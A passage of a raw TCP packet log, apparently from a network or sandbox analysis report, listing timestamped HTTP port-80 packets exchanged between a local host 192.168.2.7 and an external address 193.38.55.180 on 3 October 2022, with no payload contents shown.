Oct 3, 2022 17:35:24.203295946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203315020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203325987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203346968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203356028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203381062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203387976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203411102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203442097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203465939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203470945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203480959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203489065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203501940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203505039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203531981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203541040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203561068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203567028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203592062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203599930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203624010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203629017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203654051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203660965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203684092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203691006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203715086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203721046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203743935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203751087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203773975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203780890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203804016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203811884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203835964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203841925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203866959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203872919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203896046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203902006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203926086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203933954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203955889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203963041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203986883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203994989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204029083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204157114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204185963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204197884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204216003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204222918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204245090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204252958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204274893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204282999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204313993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204448938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204478979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204488993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204508066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204515934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204538107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204552889 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204569101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204576969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204598904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204610109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204628944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204642057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204657078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204667091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204687119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.204696894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.204727888 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.221745968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.221802950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.221827030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.221848965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.221874952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.221899986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.221925974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.221939087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.221951962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.221963882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.221978903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222002983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222003937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222028971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222047091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222053051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222054005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222074032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222079992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222104073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222105026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222122908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222129107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222138882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222153902 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222170115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222178936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222192049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222203970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222218037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222229004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222249985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222254992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222278118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222290993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.222943068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222970009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.222995996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223016977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223022938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.223042965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223062038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.223067999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223093033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223113060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223117113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.223135948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.223139048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223164082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223166943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.223180056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.223191023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223216057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223217964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.223231077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.223241091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.223257065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.223275900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.229628086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.229777098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.229928970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.229954958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.229978085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230000019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230001926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230022907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230029106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230046034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230058908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230067015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230089903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230089903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230113029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230134010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230149984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230154037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230173111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230185032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230190039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230191946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230211973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230220079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230232954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230235100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230256081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230258942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230283022 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230303049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230304956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230328083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230346918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230350018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230372906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230381966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230391026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230407000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230428934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.230446100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.230468035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.232939959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.233061075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.233417988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.233445883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.233468056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.233490944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.233510971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.233515978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.233526945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.233532906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.233536959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.233556986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.233573914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.233640909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234112978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234138966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234158993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234180927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234185934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234204054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234210968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234220028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234225035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234246969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234247923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234266996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234267950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234288931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234298944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234309912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234318972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234330893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234337091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234352112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234353065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234366894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234375954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234386921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234399080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234416962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234421015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234431028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234443903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234458923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234464884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234486103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234489918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234508038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234509945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234524012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234529018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234539986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234549999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234568119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234571934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234580994 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234592915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234615088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234621048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234637022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234649897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234657049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234678984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234684944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234700918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234716892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234716892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234731913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234743118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234749079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234802008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234822035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234843969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234865904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234869003 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234889984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234903097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234925985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234946966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234960079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234960079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234968901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.234972000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234987020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.234991074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235012054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235016108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235032082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235034943 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235055923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235059977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235078096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235085011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235097885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235100031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235116005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235152006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235198021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235219955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235240936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235261917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235275030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235275030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235285044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235301971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235323906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235325098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235342979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235343933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235362053 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235369921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235394955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235415936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235429049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235429049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235439062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235462904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235462904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235462904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235485077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235493898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235506058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235507011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235522032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235528946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235551119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235569000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235572100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235593081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235593081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235615015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235616922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235635042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235637903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235651970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235660076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235681057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235682964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235704899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235708952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235719919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235726118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235747099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235764980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235769033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235789061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235794067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235812902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235817909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235840082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235858917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235863924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235882998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235886097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235905886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235922098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235928059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235941887 CEST	49703	80	192.168.2.7	193.38.55.180
